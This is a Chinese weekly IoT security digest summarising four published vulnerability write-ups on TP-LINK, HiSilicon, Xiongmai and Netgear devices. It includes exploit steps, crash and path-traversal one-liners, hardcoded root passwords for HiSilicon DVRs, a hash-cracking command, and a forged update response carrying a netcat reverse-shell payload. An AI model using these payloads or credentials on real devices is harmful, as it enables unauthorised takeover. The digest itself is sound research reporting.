本周影响比较广泛的漏洞文章主要有四篇,列表如下:
1. TP-LINK WR940N未初始化漏洞
2. HiSilicon DVR漏洞挖掘与利用
3. Xiongmai DVR 栈溢出漏洞
4. Netgear RAX30 pucfu注入漏洞分析
漏洞挖掘与利用过程不乏一些精彩的分析,值得学习,下面对文章内容进行简要导读。
TP-LINK WR940N未初始化漏洞
原文链接是When an N-Day turns into a 0day. (Part 1 of 2)(https://github.com/b1ack0wl/vulnerability-write-ups/blob/master/TP-Link/WR940N/112022/Part1.md),主要描述的是一个未初始化漏洞的挖掘与利用。
作者根据公开的漏洞报告决定分析一个WR940N V5
设备的未初始化漏洞(Uninitialized Pointer Vulnerability
)。
漏洞分析
漏洞公告中包含the processing of UPnP/SOAP SUBSCRIBE requests
字符串,所以全局搜索SUBSCRIBE
确定以下三个二进制为要分析的目标。
$ grep -r "SUBSCRIBE" .
Binary file ./sbin/hostapd matches
Binary file ./lib/libwpa_common.so matches
Binary file ./usr/bin/httpd matches
再md5
比对下,发现lib/libwpa_common.so
是一样的,所以重点分析的目标是./sbin/hostapd
以及./usr/bin/httpd
。
Unpatched FW (v.211111):
ef7abcd4f5a2289c24a50c9fa9fda8a1 ./sbin/hostapd
45725cdfe9ad7d8323c50167908acc23 ./lib/libwpa_common.so
4dac0ec14e36001092cc2560f297a715 ./usr/bin/httpd
Patched FW (v.220610):
8aa55621c7277b7cc998ecc80fd9d6a4 ./sbin/hostapd
45725cdfe9ad7d8323c50167908acc23 ./lib/libwpa_common.so
4feb70561feb0391404ee29712b0144e ./usr/bin/httpd
bindiff
比对上述两个二进制,比对的时候主要关注看有不有对0
赋值的补丁代码。比对后发现在httpd
里面是没有的,而hostapd
是存在的。
比对问题出现在函数sub_004498D4
中,发现修补的代码存在很明显的sw $zero 0x20($sp)
赋初始化代码0
的操作。
经过分析,发现当变量的值不为0
时,会导致freeaddrinfo
函数的调用,假设该栈变量可控,该漏洞可以变成任意地址free
的漏洞(an arbitrary free primitive
)。
$a0 is populated with a DWORD from the stack at offset 0x20.
If $a0 is NULL then a branch the call to freeaddrinfo() is bypassed.
If $a0 is not NULL then the value is passed to freeaddrinfo().
尝试寻找能够重叠覆盖该变量进行利用的函数,发现对应为SSDP
数据包函数,它调用的recvfrom
读取的数据大小为0x63f
且会全都存储在栈中,使得能够覆盖变量,可以进行利用。
先分析数据流来构造触发漏洞的数据包。
第一个是构造SSDP
数据包,在栈中部署未初始化的变量数据,构造的结果如下:
(M-SEARCH * HTTP/1.1) + ("A" * offset) + (DWORD for freeaddrinfo())
再次是构造GENA
数据包来触发未初始化漏洞,使得能够触发freeaddrinfo
函数调用(Trigger call to freeaddrinfo
),构造的结果如下:
SUBSCRIBE /wps_event HTTP/1.1
NT: upnp:event
CALLBACK: <0wl://>
如此构造,会导致系统崩溃在freeaddrinfo
函数中,因为free
地址不是有效的,因此崩溃。
漏洞利用
如何进行利用。经过分析,发现目前具备以下条件,即系统没开启ASLR
以及NX
,堆地址的起始地址也是固定的,读取利用的数据没有特定字符的限制,POST
数据包内存地址固定,具备很好的利用条件。
Both ASLR and NX are off!
The start of the address for the heap is always the same.
The bug contains no character limitations.
the body of POST messages always reside within heap address 0x46e100
最终的利用方案如下:
Send a multicast SSDP message to fill up the stack with arbitrary values
Send a POST request with the body containing the bytes needed to create a fake heap allocation.
Send a SUBSCRIBE request with the CALLBACK HTTP header's value set to a URI hander that is not http:// to trigger the call to freeaddrinfo()
Connect multiple TCP sockets without sending anything to cause the allocation from eloop_register_timeout() to occur and occupy the freed fake block.
Send a final POST request to clobber the eloop_register_timeout() struct to set the timeout to 0 and the function ptr to anything we want.
Gain $PC control :D
第一步是发送SSDP
数据包在栈中布置初始化数据,第二步是发送POST
数据包在内存中构造一块假的堆结构(fake heap allocation
),第三步是发送SUBSCRIBE
数据包触发漏洞,使得第二步中的数据被释放。第四步是发送TCP
数据包,eloop_register_timeout
函数会将释放的恶意内存申请出来。最后一步是发送POST
数据包复写该块内存使得触发函数指针,成功劫持函数执行流$PC
。
HiSilicon DVR漏洞挖掘与利用
原文链接为HiSilicon DVR hack(https://github.com/tothi/pwn-hisilicon-dvr/tree/42d8325e68fdb075fe27df8a269932f9fa9601a6),2017年的文章,讲述了分析挖掘HiSilicon DVR
设备到漏洞利用的全过程。
在拿到设备后,作者认为获取固件的方式有三种:通过软方法获取、通过硬件方法获取以及通过互联网获取。
get it from the device by some soft method (using the official interface, or exploiting some vulnerability),
get it from the device by some hard method (JTAG, serial console, etc.),
find and download it from the internet (if it is available).
作者想通过第一种方法,利用漏洞从设备中获取。
先用namp
扫描了开放的服务:
# Nmap 7.40 scan initiated Sun Sep 3 01:57:47 2017 as: nmap -v -sV -sT -p- -oA nmap_full 192.168.88.127
Nmap scan report for dvr.lan (192.168.88.127)
Host is up (0.028s latency).
Not shown: 65529 closed ports
PORT STATE SERVICE VERSION
23/tcp open telnet BusyBox telnetd
80/tcp open http uc-httpd 1.0.0
554/tcp open rtsp LuxVision or Vacron DVR rtspd
9527/tcp open unknown
34567/tcp open dhanalakshmi?
34599/tcp open unknown
MAC Address: 00:12:12:15:B3:E7 (Plus )
Service Info: Host: LocalHost; Device: webcam
# Nmap done at Sun Sep 3 02:00:42 2017 -- 1 IP address (1 host up) scanned in 174.79 seconds
发现9527/tcp
端口,任何一个低权限的账号口令都能登进去,登进去以后是一个自定义的cli
,help
查询后发现有一条shell
命令,可以获取root
权限,这是挖到的第一个权限提升漏洞。
有root
权限以后就是获取设备固件,他利用设备中的mount
命令远程挂载文件,从而将设备固件导了出来。
mount -t nfs 192.168.88.100:/nfs /home -o nolock
cat /dev/mtdblock1 > /home/mtdblock1-root.img
cat /dev/mtdblock2 > /home/mtdblock2-usr.img
cat /dev/mtdblock3 > /home/mtdblock3-custom.img
cat /dev/mtdblock4 > /home/mtdblock4-logo.img
cat /dev/mtdblock5 > /home/mtdblock5-mtd.img
因为开放了telnet
服务,所以想先获取telnet
密码。/etc/passwd
中只有root
用户,密码如下。
root:absxcfbgXtb3o:0:0:root:/:/bin/sh
加密方式使用的是DES
,作者采用六位字母及数字的爆破策略,很快就将密码爆破出来为xc3511
,这是挖到的第二个硬编码密码,可以获取root
权限。
$ ./hashcat64.bin -a3 -m1500 absxcfbgXtb3o -1 ?l?d ?1?1?1?1?1?1
设备最主要提供服务的文件是/var/Sofia
,采用交叉编译gdbserver
的方式对该文件进行调试。
分析该文件的认证方式,在 sub_2D857C
认证函数中又发现一个硬编码漏洞,密码为I0TO5Wv9
,结合9527/tcp
服务的权限提升,可以实现未认证的root
权限获取。
web
服务存在简单粗暴的栈溢出漏洞,没有开启NX
,但开了ASLR
。在关闭ASLR
的情况下,可以很简单的进行利用。但默认条件下没有办法直接利用。
$ python -c 'print "GET " + "a"*1000 + " HTTP"' | nc 192.168.88.127 80
后面他又发现了一个路径穿越漏洞,可以读取任意文件。
$ echo -ne 'GET ../../etc/passwd HTTP' | nc 192.168.88.127 80
nc: using stream socket
HTTP/1.0 200 OK
Content-type: text/plain
Server: uc-httpd 1.0.0
Expires: 0
root:absxcfbgXtb3o:0:0:root:/:/bin/sh
利用读取/proc/[pid]/smaps
内存构成文件,可以获取地址信息,从而绕过ASLR
,实现前面栈溢出漏洞的利用。
当时该系列漏洞影响还很广泛,只能说当时各IOT
产商的安全意识还不怎么强。
Xiongmai DVR 栈溢出漏洞
原文链接是Exploiting: Buffer overflow in Xiongmai DVRs(https://blog.ret2.me/post/2022-01-26-exploiting-xiongmai-dvrs/)。
作者在FortNet
工作并开始研究设备,挑选Xiongmai DVR
作为分析的目标。
拿到硬件设备后,他本来想使用上面的HiSilicon DVR
权限提升漏洞,发现9527
端口是关闭的。串口调试发现并没有可以打断启动过程,拿到root
的方法。最后它采用firmware mod kit
提取固件修改/etc/init.d/rcS
在启动的时候开启telnted
并重新打包的方式拿到root shell
。
拿到权限后,他开始进行漏洞挖掘,主要分析的目标是/var/Sofia
,它是很多服务的集成者。
作者在RTSP (554)
服务中找到了一个栈溢出漏洞,poc
如下,系strncpy
拷贝的时候长度错误导致溢出。
OPTIONS rtsp://127.0.0.1/media.mp4 RTSP/1.0
CSeq: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA...(3000 A's)...
利用的过程,系统开启了NX
和ASLR
但没有开PIE
,所以/var/Sofia
中的地址可用。使用Ropper找到了合适的gadget
,能够成功构造参数寄存器,并在后面跳到system
执行,可以成功利用。
多提一句,系统有watchdog
,如果利用失败导致/var/Sofia
程序退出,系统最终会重启,所以理论上来说可以放心打,反正会重启。
Netgear RAX30 pucfu注入漏洞分析
原文链接是Puckungfu: A NETGEAR WAN Command Injection(https://research.nccgroup.com/2022/12/22/puckungfu-a-netgear-wan-command-injection/)。
受影响的系统是Netgear RAX 1.0.7.78
之前的版本,修复的版本是Hotfix 1.0.9.90
。
Netgear RAX30 /bin/pucfu
在启动过程中会去域名为https://devcom.up.netgear.com/
的netgear
官网获取一个JSON
数据包,该数据最终会被SetFileValue
函数解析,在该函数中存在命令执行漏洞,如果json
数据包可以伪造的话,则会导致命令执行。
函数执行流程如下:
代码如下:
int main(int argc,char **argv) // [1]
{
...
// Perform API call to retrieve data
status = get_check_fw(callMode, 0, bufferLargeA, 0x800); // [2] - Retrieve attacker controlled data into bufferLargeA
...
strcpy(bufferLargeB, bufferLargeA); // [3]
SetFileValue("/tmp/fw/cfu_url_cache", "lastURL", bufferLargeB); // [4] - Attacker controlled data passed as value parameter
...
}
get_check_fw
函数最终会调用函数从https://devcom.up.netgear.com/
读取数据,返回的数据经过SetFileValue
函数(在/lib/libpu_util.so
中)解析,最终调用pegaPopen
函数,调用execve
执行sh -c [command]
导致命令注入。
FILE * pegaPopen(char *command, char *rw)
{
char *argv [4];
argv[0] = gStrPtrSh; // "sh"
argv[1] = gStrPtrDashC; // "-c"
argv[2] = gStrPtrNull; // NULL
...
__pid_t _status = vfork();
...
argv[2] = command;
execve("/bin/sh", argv, environ); // [14]
_exit(0x7f);
}
正常的请求包如下:
{
"token": "5a4e2e5bc1f20cbf835aafba60dff94bfc30e7726c8be7624ffb2bc7331d219e",
"ePOCHTimeStamp": "1646392475",
"modelNumber": "RAX30",
"serialNumber": "6LA123BC456D7",
"regionCode": "2",
"reasonToCall": "1",
"betaAcceptance": 0,
"currentFWVersion": "V1.0.7.78"
}
netgear
返回的官网json
数据如下:
{
"status": 1,
"errorCode": null,
"message": null,
"url": "https://http.fw.updates1.netgear.com/rax30/auto"
}
如果伪造数据,即可实现命令注入。
{
"status": 1,
"errorCode": null,
"message": null,
"url": "'; rm -f /tmp/f;mknod /tmp/f p;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.20.1 31337 >/tmp/f #"
}
具体的利用方法是利用某种方法进行dns
劫持,拦截请求并返回恶意数据包,实现漏洞利用。
这个漏洞本来是准备用来打Pwn2Own 2022 Toronto
的,但在比赛前夕该漏洞被修复了。
原文始发于微信公众号(f0cus77):IOT安全周动态导读(2023.01.02-2023.01.08 )